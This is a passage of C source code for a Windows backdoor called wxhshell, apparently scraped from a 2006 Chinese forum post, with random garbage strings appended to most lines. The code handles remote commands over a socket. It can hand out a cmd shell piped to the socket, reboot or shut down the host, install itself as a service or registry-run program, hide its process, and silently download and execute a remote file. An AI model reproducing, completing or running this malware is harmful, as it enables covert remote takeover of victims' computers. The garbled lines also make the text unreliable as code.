  // 帮助 8$fiq}a  
  case '?': { YuWsE4$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z3K~C_0Cnu  
    break; ;>o}/h  
  } ni#!Gxw  
  // 安装 hP4*S^l  
  case 'i': { U?u0|Y+  
    if(Install()) J4 yT|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.<%46_Z-  
    else s)q;{wz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i%7b)t[y  
    break; b {e nD  
    } 'l$<DcBj  
  // 卸载 |BD]K0  
  case 'r': { n<;T BK  
    if(Uninstall()) .!kqIx*3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i"uAT$xe  
    else gk+$CyjJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CqVh9M.ah  
    break; _zQ3sm  
    } K[ZgT$zZ  
  // 显示 wxhshell 所在路径 pPcn F`A  
  case 'p': { t 7D2k2x9  
    char svExeFile[MAX_PATH]; <$s G]l!\  
    strcpy(svExeFile,"\n\r"); 8$!/Zg  
      strcat(svExeFile,ExeFile); !m"(SJn"  
        send(wsh,svExeFile,strlen(svExeFile),0); S8+Xk= x  
    break; ;|v6^2H"  
    } "1rZwFI0l  
  // 重启 3Q^@ !hu  
  case 'b': { FAAqdK0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Do}mCv  
    if(Boot(REBOOT)) 3\6 UH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )B@veso{  
    else { MjMPbGUX{  
    closesocket(wsh); _p vL b  
    ExitThread(0); >a98 H4  
    } S2)rkX$  
    break; C !81Km5  
    } B[^mWVp6L  
  // 关机 f<ABs4w  
  case 'd': { %p?u ^rq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *ms?UFV[r  
    if(Boot(SHUTDOWN)) k*\=IacX0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,R$n I*mf_  
    else { j r6)K;:.  
    closesocket(wsh); hQrO8T?2  
    ExitThread(0); T"-HBwl  
    } v4sc  
    break; ni gp83:  
    } }2M2R}D  
  // 获取shell @"T_W(i;BI  
  case 's': { Rxld$@~-(]  
    CmdShell(wsh); Y[x9c0  
    closesocket(wsh); aX6.XHWbDf  
    ExitThread(0); zw^jIg$  
    break; <#ujm fD  
  } >4=sEj  
  // 退出 Dm6WSp1|b  
  case 'x': { ( 3IM7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,WbO8#z+  
    CloseIt(wsh); BuI&kU,WY  
    break; &O(z|-&| x  
    } Mq]~Ka3q7  
  // 离开 68R[Lc9q5  
  case 'q': { I'G$:GX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (`gqLPx[  
    closesocket(wsh); p_ =^E*J]  
    WSACleanup(); -8Z%5W`  
    exit(1); +2`RvQN  
    break; ws4a(1  
        } RH^8"%\  
  } [-_u{j  
  } f;#hcRSH  
9>d$a2 nc  
  // 提示信息 _QfA'32S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9)s=%dL  
} o6K\z+.{  
  } Lm"l*j4  
)Z0pU\  
  return; 21M@z(q*  
} draY /  
s$J0^8Q~i  
// shell模块句柄 U,Nf&g  
int CmdShell(SOCKET sock) )(b]-  )  
{ #/!a=0  
STARTUPINFO si; '>_'gR0O  
ZeroMemory(&si,sizeof(si)); W1M<6T.{7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gr&5 mniu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j*<H18^G  
PROCESS_INFORMATION ProcessInfo; =9FY;9  
char cmdline[]="cmd"; xl@l<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (}vi"mCeW  
  return 0; Ki{&,:@  
} jTaEaX8+  
v/\l  
// 自身启动模式 `Q^G k{9P  
int StartFromService(void) 4StiYfae  
{ "zJ1vIZY  
typedef struct ,ClGa2O  
{ ^aN;M\  
  DWORD ExitStatus; rq Dre`m  
  DWORD PebBaseAddress; Wd?(B4{  
  DWORD AffinityMask; }Zc.rk  
  DWORD BasePriority; a,U[$c  
  ULONG UniqueProcessId; ihBlP\C  
  ULONG InheritedFromUniqueProcessId; TB\#frG  
}   PROCESS_BASIC_INFORMATION; z{Z'2,#  
cU?A|'  
PROCNTQSIP NtQueryInformationProcess; 3qE2mYK  
x6\EU=,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $(K[W}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X zgJ@  
q+5g+9  
  HANDLE             hProcess; DXl3  
  PROCESS_BASIC_INFORMATION pbi; q asbK:}  
a` A V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wP8Wx~Q=  
  if(NULL == hInst ) return 0; ZH;VEX  
A}?n.MAX>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n=WwB(}q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C;];4[XR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .(^KA{  
nh"nSBRxk  
  if (!NtQueryInformationProcess) return 0; 3Cmbt_WV  
CtJ*:wF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9`VgD<?v  
  if(!hProcess) return 0; N]udZhkn  
*UhYX)J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C?m2R(RF  
/#lhRNX  
  CloseHandle(hProcess); =+;l>mn?O  
}7&.FV "  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }5 ^2g!M  
if(hProcess==NULL) return 0; z)p( l!  
Evu`e=LaG  
HMODULE hMod; s :ig;zb  
char procName[255]; `,a6su (?  
unsigned long cbNeeded; +A%|.;  
  @a2n{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BBuI|lr  
~A^E_  
  CloseHandle(hProcess); '[(]62j  
/iURP-rl  
if(strstr(procName,"services")) return 1; // 以服务启动 ;]c@%LX  
4'u +%6+__  
  return 0; // 注册表启动 " E+V >V+  
} VF[$hs  
=`Ii ?xo  
// 主模块 j'r"_*%  
int StartWxhshell(LPSTR lpCmdLine) ? 1Os%9D*  
{ /c2| *"@X  
  SOCKET wsl; 1.Kun !w  
BOOL val=TRUE; h [*/Tnr  
  int port=0; W D8  
  struct sockaddr_in door; A1>fNilC9  
pGZiADT  
  if(wscfg.ws_autoins) Install(); D!7-(3R  
c_"=G#^9@i  
port=atoi(lpCmdLine); +/O3L=QyJ  
:Kq]b@ X  
if(port<=0) port=wscfg.ws_port; yuP1*QJ%  
H!SFSgAu  
  WSADATA data; WSEw:pln  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aF8'^xF  
,X`w/ 2O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Aqj$ x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xz,fjKUnN  
  door.sin_family = AF_INET; KXrZ:4bg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U80h0t%  
  door.sin_port = htons(port); ;f?suawMv  
KBC?SxJSJc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WwDd62g  
closesocket(wsl); =D~>$ Y  
return 1; b-8}TTL>  
} -v %n@8p  
gN@|lHbU  
  if(listen(wsl,2) == INVALID_SOCKET) { vKO/hZBh  
closesocket(wsl); xeNj@\jdC5  
return 1; &9Kni/  
} zgNzdO/B  
  Wxhshell(wsl); !jWE^@P/B  
  WSACleanup(); OLS/3c z  
%_@T'!]  
return 0; -DuI 6K  
]?G|:Kx$y%  
} a%nf )-}|  
% * k`z#b  
// 以NT服务方式启动 ;rRV=$y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FG!2h&k  
{ !8e;3W  
DWORD   status = 0; j:2TicHDC  
  DWORD   specificError = 0xfffffff; j-cp  
9-+N;g!q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5pT8 }?7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a]/KJn /B(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t"s$YB>}  
  serviceStatus.dwWin32ExitCode     = 0; 9Nw&l@  
  serviceStatus.dwServiceSpecificExitCode = 0;  PI.Zd1r  
  serviceStatus.dwCheckPoint       = 0; IeZ9 "o h  
  serviceStatus.dwWaitHint       = 0; _\8jnpT:  
[l/!&6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D0Mxl?S?  
  if (hServiceStatusHandle==0) return; a&2UDl%K  
k!ID  
status = GetLastError(); %:s+5*SKe  
  if (status!=NO_ERROR) Xs{PAS0  
{ IH&0>a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eEBo:Rc9  
    serviceStatus.dwCheckPoint       = 0; 78\j  
    serviceStatus.dwWaitHint       = 0; y/E:6w  
    serviceStatus.dwWin32ExitCode     = status; x6)qs-  
    serviceStatus.dwServiceSpecificExitCode = specificError; kY?tUpM!TB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5%N[hd1Ql  
    return; XzPOqZ`Nv  
  } 1>uAVPa  
H $ %F0'0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'ieTt_1.G  
  serviceStatus.dwCheckPoint       = 0; ufe |I  
  serviceStatus.dwWaitHint       = 0; wz)s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aAbA)'G  
} nU' qE  
c4u/tt.)  
// 处理NT服务事件,比如:启动、停止 == E8^jYJw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BT&R:_:  
{ gD51N()s,  
switch(fdwControl) \vJ0Mhk1  
{ }K={HW1>  
case SERVICE_CONTROL_STOP: 2{.g7bO  
  serviceStatus.dwWin32ExitCode = 0; ",&QO 7_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (5@H<c^6  
  serviceStatus.dwCheckPoint   = 0; G pI4QzR  
  serviceStatus.dwWaitHint     = 0; /@|iI<|  
  { >|c?ZqW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7~FHn'xt  
  } `Th~r&GvF  
  return; qFK.ULgP`  
case SERVICE_CONTROL_PAUSE: ;:_AOb31N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'YB[4Q /0  
  break; EcL6lNTR+  
case SERVICE_CONTROL_CONTINUE: 7)]boW~Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U+qyS|i  
  break; %-yzU/`JF  
case SERVICE_CONTROL_INTERROGATE: FJDC^@Ne  
  break; pHmqwB~|  
}; >zqaV@T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _\KFMe= PV  
} sBB[u'h!  
=TDKU  
// 标准应用程序主函数 pDZewb&cA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cN0 *<  
{ _$96y]Bpi  
wv\K  
// 获取操作系统版本 Sc]K-]1(H  
OsIsNt=GetOsVer(); ;.Bz'Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nf^?X`g  
5PO_qr= Hx  
  // 从命令行安装 o3dqsQE%  
  if(strpbrk(lpCmdLine,"iI")) Install(); l<w7 \a6  
udqrHR5  
  // 下载执行文件  Rpgg :  
if(wscfg.ws_downexe) { RbL?(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9^W7i]-Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); `=H*4I-"  
} oh< -&3Jn  
ekvs3a^  
if(!OsIsNt) { "G [Nb:,CR  
// 如果时win9x,隐藏进程并且设置为注册表启动 [(@K;6o  
HideProc(); H[u9C:}9b  
StartWxhshell(lpCmdLine); ^AH[]sE_  
} i"}z9Ae~.  
else 7. <jdp  
  if(StartFromService()) _# sy  
  // 以服务方式启动 Q4m> 3I  
  StartServiceCtrlDispatcher(DispatchTable); _ l|%~  
else >`0U2K  
  // 普通方式启动 D_d>A+  
  StartWxhshell(lpCmdLine);  9!jPZn  
KAClV%jP  
return 0; p qz~9y~  
}
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只看该作者 1 发表于: 2006-10-10
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